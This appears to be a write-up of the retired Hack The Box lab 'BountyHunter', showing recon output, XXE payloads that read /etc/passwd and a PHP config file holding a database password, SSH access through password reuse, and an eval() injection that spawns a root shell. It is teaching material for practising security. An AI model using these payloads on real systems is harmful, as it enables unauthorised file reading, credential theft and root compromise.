Menu

HTB - BountyHunter

August 29, 2025
by Kieran Jessup

Overview

DifficultyEasy
OSLinux
Release Date24 July 2024
StatusRetired

Enumeration

Reconnaissance
β”Œβ”€β”€(htb)─(k1tγ‰Ώred)-[~/Documents/boxes/htb/bountyhunter]
└─$ export target=10.10.11.100                  
                                                                                                                   
β”Œβ”€β”€(htb)─(k1tγ‰Ώred)-[~/Documents/boxes/htb/bountyhunter]
└─$ nmap -sC -sV -v -T4 $target                             
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 22:17 EDT
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Port Scan

LOW SEVERITY
Reconnaissance Methodology:

Initial port scanning using Nmap with service detection and version enumeration to identify open ports and running services on the target host.

Key Findings:
  • SSH Service: OpenSSH 8.2p1 running on port 22
  • Web Server: Apache 2.4.41 running on port 80
  • Operating System: Ubuntu Linux
  • Web Application: "Bounty Hunters" application
Next Steps:
  • Web enumeration and directory discovery
MITRE ATT&CK: T1590 - Gather Victim Host Information

Web Enumeration

Looking at the site, we see a mention of Burp and a menu with a contact page and a portal.

Browser Icon
http://10.10.11.100

After browsing these pages and reviewing the source code of each, we find something interesting on the log_submit.php page, a script is being used named: /resources/bountylog.js

/resources/bountylog.js
//JavaScript code from /resources/bountylog.js
function returnSecret(data) {
return Promise.resolve($.ajax({
          type: "POST",
          data: {"data":data},
          url: "tracker_diRbPr00f314.php"
          }));
}

async function bountySubmit() {
try {
	var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
	<bugreport>
	<title>${$('#exploitTitle').val()}</title>
	<cwe>${$('#cwe').val()}</cwe>
	<cvss>${$('#cvss').val()}</cvss>
	<reward>${$('#reward').val()}</reward>
	</bugreport>`
	let data = await returnSecret(btoa(xml));
		$("#return").html(data)
}
catch(error) {
	console.log('Error:', error);
}
}

XML External Entity Injection

HIGH SEVERITY
Vulnerability Analysis:

This JavaScript code constructs an XML document using user input from form fields and sends it to a PHP backend for processing. The vulnerability lies in the fact that the XML parser on the server side is likely configured to process external entities. This is a classic [XML External Entity (XXE) vulnerability](/posts/xxe-attacks).

Potential Vector:

By injecting malicious XML entities into the form fields, an attacker can:

  • Read sensitive files from the server (file:// protocol)
  • Perform server-side request forgery (SSRF) attacks
  • Access internal network resources
  • Potentially execute remote code depending on parser configuration
OWASP Top 10: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1190 - Exploit Public-Facing Application
Related: XXE Attacks: Understanding and Exploiting XML External Entity Vulnerabilities

We’ll also have a look at directories and files:

β”Œβ”€β”€(htb)─(k1tγ‰Ώred)-[~/Documents/boxes/htb/bountyhunter]
└─$ feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.11.100/ -x php
                                                                                                                     
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://10.10.11.100/
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 πŸ”Ž  Extract Links         β”‚ true
 πŸ’²  Extensions            β”‚ [php]
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      309c http://10.10.11.100/js => http://10.10.11.100/js/
301      GET        9l       28w      310c http://10.10.11.100/css => http://10.10.11.100/css/
200      GET        1l       44w     2532c http://10.10.11.100/resources/jquery.easing.min.js
200      GET        5l       15w      125c http://10.10.11.100/portal.php
200      GET       64l      232w     2682c http://10.10.11.100/resources/lato.css
200      GET       80l      248w     3228c http://10.10.11.100/resources/monsterat.css
200      GET      248l      761w    12807c http://10.10.11.100/assets/img/avataaars.svg
200      GET       69l      210w     2424c http://10.10.11.100/js/scripts.js
200      GET      139l      444w    35267c http://10.10.11.100/assets/img/portfolio/safe.png
200      GET      195l      683w    66699c http://10.10.11.100/assets/img/portfolio/cabin.png
200      GET      178l      601w    46744c http://10.10.11.100/assets/img/portfolio/game.png
200      GET      151l      616w    50204c http://10.10.11.100/assets/img/portfolio/circus.png
200      GET      150l      506w    43607c http://10.10.11.100/assets/img/portfolio/submarine.png
200      GET      122l      415w    30702c http://10.10.11.100/assets/img/portfolio/cake.png
200      GET        8l       29w    28898c http://10.10.11.100/assets/img/favicon.ico
301      GET        9l       28w      313c http://10.10.11.100/assets => http://10.10.11.100/assets/
200      GET    10240l    19373w   187375c http://10.10.11.100/css/styles.css
200      GET       24l       44w      594c http://10.10.11.100/resources/bountylog.js
200      GET        6l       34w      210c http://10.10.11.100/resources/README.txt
200      GET        7l     1031w    84152c http://10.10.11.100/resources/bootstrap.bundle.min.js
200      GET        2l     1297w    89476c http://10.10.11.100/resources/jquery.min.js
200      GET        0l        0w        0c http://10.10.11.100/db.php
200      GET        5l   108280w  1194961c http://10.10.11.100/resources/all.js
200      GET      388l     1470w    25169c http://10.10.11.100/
200      GET        7l      567w    48945c http://10.10.11.100/resources/bootstrap_login.min.js
200      GET        4l     1298w    86659c http://10.10.11.100/resources/jquery_login.min.js
200      GET      388l     1470w    25169c http://10.10.11.100/index.php
200      GET       20l       63w      617c http://10.10.11.100/log_submit.php
301      GET        9l       28w      317c http://10.10.11.100/assets/img => http://10.10.11.100/assets/img/

Let’s see if we can confirm a potential XXE vulnerability by sending a POST request using the form on the site and reviewing the data in BurpSuite:

XXE Payload Test

Request
POST http://10.10.11.100/tracker_diRbPr00f314.php
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 227
Origin: http://10.10.11.100
Connection: keep-alive
Referer: http://10.10.11.100/log_submit.php
Priority: u=0
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5UZXN0IFRpdGxlPC90aXRsZT4KCQk8Y3dlPkNXRS0xMDA8L2N3ZT4KCQk8Y3Zzcz4xMDwvY3Zzcz4KCQk8cmV3YXJkPjEwMDA8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D
Response
200 OK
HTTP/1.1 200 OK
Date: Sat, 30 Aug 2025 04:02:35 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 271
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
If DB were ready, would have added:
<table>
<tr>
  <td>Title:</td>
  <td>Test Title</td>
</tr>
<tr>
  <td>CWE:</td>
  <td>CWE-100</td>
</tr>
<tr>
  <td>Score:</td>
  <td>10</td>
</tr>
<tr>
  <td>Reward:</td>
  <td>1000</td>
</tr>
</table>
Browser Icon
http://10.10.11.100/log_submit.php

Exploitation

To generate a payload, we can take the request value and convert from Base64, adjust and then convert back to Base64 and re-send it in Burp repeater:

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5UZXN0IFRpdGxlPC90aXRsZT4KCQk8Y3dlPkNXRS0xMDA8L2N3ZT4KCQk8Y3Zzcz4xMDwvY3Zzcz4KCQk8cmV3YXJkPjEwMDA8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D

From Base64

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>Test Title</title>
		<cwe>CWE-100</cwe>
		<cvss>10</cvss>
		<reward>1000</reward>
		</bugreport>7

Create a Payload

Review payloads for XXE: https://github.com/payloadbox/xxe-injection-payload-list

Add a few lines to the existing POST request and adjust it as follows:

  1. Paste payload as seen below
  2. &xxe; between title tag
<?xml  version="1.0" encoding="ISO-8859-1"?>
		<!DOCTYPE foo [  
		<!ELEMENT foo ANY>
		<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>100</cwe>
		<cvss>10</cvss>
		<reward>1000</reward>
		</bugreport>

Convert back to Base64 and URL encode using Cyberchef:

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4NCgkJPCFET0NUWVBFIGZvbyBbICANCgkJPCFFTEVNRU5UIGZvbyBBTlk%2BDQoJCTwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI%2BXT4NCgkJPGJ1Z3JlcG9ydD4NCgkJPHRpdGxlPiZ4eGU7PC90aXRsZT4NCgkJPGN3ZT4xMDA8L2N3ZT4NCgkJPGN2c3M%2BMTA8L2N2c3M%2BDQoJCTxyZXdhcmQ%2BMTAwMDwvcmV3YXJkPg0KCQk8L2J1Z3JlcG9ydD4%3D

Replace the payload in Burpsuite after data= with your new payload and re-send it:

Crafted Payload Test

Request
POST http://10.10.11.100/tracker_diRbPr00f314.php
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 353
Origin: http://10.10.11.100
Connection: keep-alive
Referer: http://10.10.11.100/log_submit.php
Priority: u=0
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4NCgkJPCFET0NUWVBFIGZvbyBbICANCgkJPCFFTlRJVFkgYWMgU1lTVEVNICJwaHA6Ly9maWx0ZXIvcmVhZD1jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9L3Zhci93d3cvaHRtbC9kYi5waHAiPl0%2BDQoJCTxidWdyZXBvcnQ%2BDQoJCTx0aXRsZT4mYWM7PC90aXRsZT4NCgkJPGN3ZT4xMDA8L2N3ZT4NCgkJPGN2c3M%2BMTA8L2N2c3M%2BDQoJCTxyZXdhcmQ%2BMTAwMDwvcmV3YXJkPg0KCQk8L2J1Z3JlcG9ydD4%3D
Response
200 OK
HTTP/1.1 200 OK
Date: Sat, 30 Aug 2025 04:54:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2099
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
If DB were ready, would have added:
<table>
<tr>
  <td>Title:</td>
  <td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
</td>
</tr>
<tr>
  <td>CWE:</td>
  <td>100</td>
</tr>
<tr>
  <td>Score:</td>
  <td>10</td>
</tr>
<tr>
  <td>Reward:</td>
  <td>1000</td>
</tr>
</table>

Now that we have confirmed XXE, we can start to enumerate the file system on the web host. Earlier in our enumeration we discovered a few files using feroxbuster, in particular we found db.php. This file may hold key configuration data so it’s worth checking out. Executing the same payload as before but targeted at db.php yielded no results. Using the same github repo, I had success using the XXE Access Control Bypass for PHP by base64 encoding the response as follows;

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<!DOCTYPE foo [  
		<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php">]>
		<bugreport>
		<title>&ac;</title>
		<cwe>100</cwe>
		<cvss>10</cvss>
		<reward>1000</reward>
		</bugreport>

Base64

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4NCgkJPCFET0NUWVBFIGZvbyBbICANCgkJPCFFTlRJVFkgYWMgU1lTVEVNICJwaHA6Ly9maWx0ZXIvcmVhZD1jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9L3Zhci93d3cvaHRtbC9kYi5waHAiPl0%2BDQoJCTxidWdyZXBvcnQ%2BDQoJCTx0aXRsZT4mYWM7PC90aXRsZT4NCgkJPGN3ZT4xMDA8L2N3ZT4NCgkJPGN2c3M%2BMTA8L2N2c3M%2BDQoJCTxyZXdhcmQ%2BMTAwMDwvcmV3YXJkPg0KCQk8L2J1Z3JlcG9ydD4%3D

And the response:

HTTP/1.1 200 OK
Date: Sat, 30 Aug 2025 05:05:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 509
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=</td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td>100</td>
  </tr>
  <tr>
    <td>Score:</td>
    <td>10</td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td>1000</td>
  </tr>
</table>
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

User Flag

Now that we have a potential credential, the first thing I like to check is password re-use. Reviewing the initial /etc/passwd return earlier we can see an account named development. The initial NMAP scan also tells us that SSH is available on the host so we’ll try login:

development:m19RoAU0hP41A1sTsq6K

β”Œβ”€β”€(htb)─(k1tγ‰Ώred)-[~/Documents/boxes/htb/bountyhunter]
└─$ ssh development@10.10.11.100
development@10.10.11.100's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 30 Aug 2025 05:10:53 AM UTC

  System load:           0.0
  Usage of /:            23.7% of 6.83GB
  Memory usage:          13%
  Swap usage:            0%
  Processes:             214
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.100
  IPv6 address for eth0: dead:beef::250:56ff:feb0:a989


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ 

Privilege Escalation

Now that we have an SSH session as development, lets see what is available.

development@bountyhunter:~$ cat contract.txt
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John
Sudo Privilege Check
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
  (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Privilege Escalation Vector

HIGH SEVERITY
Privilege Escalation Analysis:

The sudo -l command reveals that the development user can run a specific Python script with root privileges without requiring a password. This is a classic privilege escalation vector.

Key Findings:
  • Target Script: /opt/skytrain_inc/ticketValidator.py
  • Python Version: Python 3.8
  • Privilege Level: Root (NOPASSWD)
  • No Password Required: This makes exploitation easier
Attack Vector:

Since we can run a Python script as root, we need to:

  • Examine the script for potential vulnerabilities
  • Look for ways to inject malicious code or commands
  • Check if the script reads user input that we can control
  • Identify any file operations that could be exploited
MITRE ATT&CK: T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
OWASP Top 10: A01:2021 - Broken Access Control

/opt/skytrain_inc/ticketValidator.py

development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()
Vulnerable Code Analysis
if code_line and i == code_line:
  if not x.startswith("**"):
      return False
  ticketCode = x.replace("**", "").split("+")[0]
  if int(ticketCode) % 7 == 4:
      validationNumber = eval(x.replace("**", ""))
      if validationNumber > 100:
          return True
      else:
          return False

Python eval() Command Injection

CRITICAL SEVERITY
Vulnerability Analysis:

This code contains a critical security vulnerability due to the use of Python's eval() function with user-controlled input. The eval() function executes arbitrary Python code, making it extremely dangerous when used with untrusted input.

Code Flow Analysis:
  1. Input Validation: Checks if the line starts with "**"
  2. Ticket Code Extraction: Removes "**" and takes the first part before "+"
  3. Modulo Check: Ensures the ticket code % 7 == 4
  4. Dangerous Evaluation: Uses eval() on the entire line content
  5. Validation: Checks if result > 100
Why eval() is Vulnerable:
  • Arbitrary Code Execution: eval() executes any valid Python expression
  • No Input Sanitization: The code only checks format, not content
  • Privilege Escalation: Running as root via sudo makes this critical
  • Bypass Techniques: Attackers can inject malicious Python code
Attack Vector:

An attacker can craft a ticket file with malicious Python code:

  • Format: **102+__import__('os').system('/bin/bash -p')
  • First Part: 102 (satisfies modulo check: 102 % 7 = 4)
  • Malicious Part: __import__('os').system('/bin/bash -p')
  • Result: eval() executes the system command as root
Security Implications:
  • Remote Code Execution (RCE): Complete system compromise
  • Privilege Escalation: Root access via sudo
  • Data Exfiltration: Access to sensitive files
  • Persistence: Ability to maintain access
Secure Alternatives:
  • Input Validation: Strict regex patterns for expected format
MITRE ATT&CK: T1059.006 - Command and Scripting Interpreter: Python
OWASP Top 10: A03:2021 - Injection
CWE: CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code

Found some example invalid tickets:

development@bountyhunter:~$ ls /opt/skytrain_inc/
invalid_tickets  ticketValidator.py
development@bountyhunter:~$ ls /opt/skytrain_inc/invalid_tickets/
390681613.md  529582686.md  600939065.md  734485704.md
development@bountyhunter:~$ ls /opt/skytrain_inc/^C
development@bountyhunter:~$ ls /opt/skytrain_inc/^C
development@bountyhunter:~$ cat /opt/skytrain_inc/invalid_tickets/390681613.md 
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket

Based on the logic in the python script, we can create a file in .md that meets the requirements and add something extra to execute. I was pretty lazy and asked chatGPT to give me a number that is divisible by 7 with a remainder of 4 that is > 100 which landed me on 102.

The python script has an eval function that we can take advantage of.

End Result /tmp/ticket.md

I used one of the invalid tickets in /opt/ as a base for my ticket.

# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**102+__import__('os').system('/bin/bash -p')

Root Flag

development@bountyhunter:/tmp$ nano ticket.md
development@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md
Destination: New Haven
root@bountyhunter:/tmp# cat /root/root.txt
<REDACTED FLAG>
root@bountyhunter:/tmp# cat /tmp/ticket.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**102+__import__('os').system('/bin/bash -p')
root@bountyhunter:/tmp# 

root@bountyhunter:/tmp#